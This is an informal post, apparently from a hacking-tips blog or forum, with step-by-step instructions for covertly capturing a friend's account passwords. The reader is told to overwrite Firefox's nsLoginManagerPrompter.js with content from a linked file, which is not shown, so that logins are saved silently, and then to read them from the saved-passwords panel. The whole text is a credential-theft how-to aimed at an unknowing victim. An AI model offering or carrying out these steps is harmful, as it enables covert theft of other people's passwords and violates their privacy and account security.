Do you want to hack your friend's ID but dont know hacking he also come in your house and uses your computer but even you can not get his password beocz you are very Noob or simply dont know how to do it Then this is for you..
Whenever they were over your house. Or you just wanted Firefox to save all your passwords without prompting you every single time! then follow below steps
Steps:
1- Locate nsLoginManagerPrompter.js file (Default location C:\Program Files\Mozilla Firefox\components).
2- Open the file with word pad or notepad.
3-Press Ctrl + A on keyboard, and then press del or delete!
4-Copy and Paste all the content from this txt file: [link] (only the text not the file)
-From now on, when someone logs onto any site, there username and password will be saved automatically, without prompt!
--To retrieve the account information, make sure Firefox is opened, go to Tools > Options... > Security Tab > click on saved passwords, then click on show passwords thatz all you are on your way...!